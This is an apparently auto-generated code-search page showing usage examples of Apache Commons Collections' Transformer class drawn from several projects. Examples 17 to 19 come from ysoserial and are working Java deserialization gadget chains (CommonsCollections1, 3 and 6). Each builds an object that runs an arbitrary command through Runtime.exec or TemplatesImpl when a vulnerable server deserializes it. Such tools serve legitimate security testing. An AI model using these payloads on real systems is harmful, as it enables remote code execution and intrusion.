Search in sources :

Example 16 with Transformer

use of org.apache.commons.collections.Transformer in project xwiki-platform by xwiki.

the class DefaultWatchListEventFeedManager method getFeed.

@Override
@SuppressWarnings("unchecked")
public SyndFeed getFeed(String user, int entryNumber) throws XWikiException {
    XWikiContext context = contextProvider.get();
    Collection<String> wikis = store.getWatchedElements(user, WatchedElementType.WIKI);
    Collection<String> spaces = store.getWatchedElements(user, WatchedElementType.SPACE);
    Collection<String> documents = store.getWatchedElements(user, WatchedElementType.DOCUMENT);
    List<Object> parameters = new ArrayList<Object>();
    ActivityStreamPluginApi asApi = (ActivityStreamPluginApi) context.getWiki().getPluginApi("activitystream", context);
    parameters.addAll(wikis);
    parameters.addAll(spaces);
    parameters.addAll(documents);
    Transformer transformer = new ConstantTransformer("?");
    List<String> wikisPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    wikisPlaceholders.addAll(wikis);
    List<String> spacesPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    spacesPlaceholders.addAll(spaces);
    List<String> documentsPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    documentsPlaceholders.addAll(documents);
    String listItemsJoint = ",";
    String concatWiki = " or concat(act.wiki,'";
    String query = "1=0";
    if (!wikis.isEmpty()) {
        query += " or act.wiki in (" + StringUtils.join(wikisPlaceholders, listItemsJoint) + ')';
    }
    if (!spaces.isEmpty()) {
        query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.space) in (" + StringUtils.join(spacesPlaceholders, listItemsJoint) + ')';
    }
    if (!documents.isEmpty()) {
        query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.page) in (" + StringUtils.join(documentsPlaceholders, listItemsJoint) + ')';
    }
    List<ActivityEvent> events = asApi.searchEvents(query, false, true, entryNumber, 0, parameters);
    SyndFeed feed = asApi.getFeed(events);
    setFeedMetaData(feed, context);
    return feed;
}
Also used : Transformer(org.apache.commons.collections.Transformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) ActivityEvent(com.xpn.xwiki.plugin.activitystream.plugin.ActivityEvent) ActivityStreamPluginApi(com.xpn.xwiki.plugin.activitystream.plugin.ActivityStreamPluginApi) ArrayList(java.util.ArrayList) XWikiContext(com.xpn.xwiki.XWikiContext) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) SyndFeed(com.sun.syndication.feed.synd.SyndFeed)

Example 17 with Transformer

use of org.apache.commons.collections.Transformer in project ysoserial by frohoff.

the class CommonsCollections6 method getObject.

public Serializable getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    Transformer transformerChain = new ChainedTransformer(transformers);
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }
    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);
    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }
    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);
    Object node = array[0];
    if (node == null) {
        node = array[1];
    }
    Field keyField = null;
    try {
        keyField = node.getClass().getDeclaredField("key");
    } catch (Exception e) {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }
    keyField.setAccessible(true);
    keyField.set(node, entry);
    return map;
}
Also used : ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) Transformer(org.apache.commons.collections.Transformer) InvokerTransformer(org.apache.commons.collections.functors.InvokerTransformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) HashMap(java.util.HashMap) ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) TiedMapEntry(org.apache.commons.collections.keyvalue.TiedMapEntry) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) InvokerTransformer(org.apache.commons.collections.functors.InvokerTransformer) Field(java.lang.reflect.Field) HashMap(java.util.HashMap) LazyMap(org.apache.commons.collections.map.LazyMap) Map(java.util.Map) HashSet(java.util.HashSet)

Example 18 with Transformer

use of org.apache.commons.collections.Transformer in project ysoserial by frohoff.

the class CommonsCollections1 method getObject.

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}
Also used : ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) Transformer(org.apache.commons.collections.Transformer) InvokerTransformer(org.apache.commons.collections.functors.InvokerTransformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) HashMap(java.util.HashMap) ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) HashMap(java.util.HashMap) LazyMap(org.apache.commons.collections.map.LazyMap) Map(java.util.Map) InvocationHandler(java.lang.reflect.InvocationHandler) InvokerTransformer(org.apache.commons.collections.functors.InvokerTransformer)

Example 19 with Transformer

use of org.apache.commons.collections.Transformer in project ysoserial by frohoff.

the class CommonsCollections3 method getObject.

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}
Also used : ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) Transformer(org.apache.commons.collections.Transformer) InstantiateTransformer(org.apache.commons.collections.functors.InstantiateTransformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) HashMap(java.util.HashMap) InstantiateTransformer(org.apache.commons.collections.functors.InstantiateTransformer) ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) HashMap(java.util.HashMap) LazyMap(org.apache.commons.collections.map.LazyMap) Map(java.util.Map) InvocationHandler(java.lang.reflect.InvocationHandler)

Example 20 with Transformer

use of org.apache.commons.collections.Transformer in project BroadleafCommerce by BroadleafCommerce.

the class BaseProcessor method onApplicationEvent.

/**
 * Ensures the the list of activities is properly merged and sorted after all activities have been initialized
 */
@Override
public void onApplicationEvent(ContextRefreshedEvent event) {
    if (!(beanFactory instanceof ListableBeanFactory)) {
        throw new BeanInitializationException("The workflow processor [" + beanName + "] " + "is not managed by a ListableBeanFactory, please re-deploy using some derivative of ListableBeanFactory such as" + "ClassPathXmlApplicationContext ");
    }
    if (CollectionUtils.isEmpty(activities) && !isAllowEmptyActivities()) {
        throw new UnsatisfiedDependencyException(getBeanDesc(), beanName, "activities", "No activities were wired for this workflow");
    }
    // sort the activities based on their configured order
    OrderComparator.sort(activities);
    HashSet<String> moduleNames = new HashSet<>();
    for (Iterator<Activity<ProcessContext<U>>> iter = activities.iterator(); iter.hasNext(); ) {
        Activity<ProcessContext<U>> activity = iter.next();
        if (!supports(activity)) {
            throw new BeanInitializationException("The workflow processor [" + beanName + "] does " + "not support the activity of type" + activity.getClass().getName());
        }
        if (activity instanceof ModuleActivity) {
            moduleActivities.add((ModuleActivity) activity);
            moduleNames.add(((ModuleActivity) activity).getModuleName());
        }
    }
    if (CollectionUtils.isNotEmpty(moduleActivities)) {
        // log the fact that we've got some modifications to the workflow
        StringBuffer message = new StringBuffer();
        message.append("The following modules have made changes to the " + getBeanName() + " workflow: ");
        message.append(Arrays.toString(moduleNames.toArray()));
        message.append("\n");
        message.append("The final ordering of activities for the " + getBeanName() + " workflow is: \n");
        ArrayList<String> activityNames = new ArrayList<>();
        CollectionUtils.collect(activities, new Transformer() {

            @Override
            public Object transform(Object input) {
                return ((Activity) input).getBeanName();
            }
        }, activityNames);
        message.append(Arrays.toString(activityNames.toArray()));
        supportLogger.lifecycle(LifeCycleEvent.CONFIG, message.toString());
    }
}
Also used : BeanInitializationException(org.springframework.beans.factory.BeanInitializationException) Transformer(org.apache.commons.collections.Transformer) ArrayList(java.util.ArrayList) UnsatisfiedDependencyException(org.springframework.beans.factory.UnsatisfiedDependencyException) ConfigurableListableBeanFactory(org.springframework.beans.factory.config.ConfigurableListableBeanFactory) ListableBeanFactory(org.springframework.beans.factory.ListableBeanFactory) HashSet(java.util.HashSet)

Aggregations

Transformer (org.apache.commons.collections.Transformer)38 ChainedTransformer (org.apache.commons.collections.functors.ChainedTransformer)20 Test (org.junit.Test)18 ArrayList (java.util.ArrayList)16 SearchControls (javax.naming.directory.SearchControls)16 DefaultLdapUserRoleListService (org.pentaho.platform.plugin.services.security.userrole.ldap.DefaultLdapUserRoleListService)16 GenericLdapSearch (org.pentaho.platform.plugin.services.security.userrole.ldap.search.GenericLdapSearch)16 LdapSearchParamsFactoryImpl (org.pentaho.platform.plugin.services.security.userrole.ldap.search.LdapSearchParamsFactoryImpl)16 SearchResultToAttrValueList (org.pentaho.platform.plugin.services.security.userrole.ldap.transform.SearchResultToAttrValueList)16 LdapSearch (org.pentaho.platform.plugin.services.security.userrole.ldap.search.LdapSearch)13 LdapSearchParamsFactory (org.pentaho.platform.plugin.services.security.userrole.ldap.search.LdapSearchParamsFactory)13 UnionizingLdapSearch (org.pentaho.platform.plugin.services.security.userrole.ldap.search.UnionizingLdapSearch)13 List (java.util.List)11 Map (java.util.Map)6 HashMap (java.util.HashMap)5 HashSet (java.util.HashSet)5 ConstantTransformer (org.apache.commons.collections.functors.ConstantTransformer)5 GrantedAuthorityToString (org.pentaho.platform.plugin.services.security.userrole.ldap.transform.GrantedAuthorityToString)5 StringToGrantedAuthority (org.pentaho.platform.plugin.services.security.userrole.ldap.transform.StringToGrantedAuthority)5 Resource (org.apache.sling.api.resource.Resource)4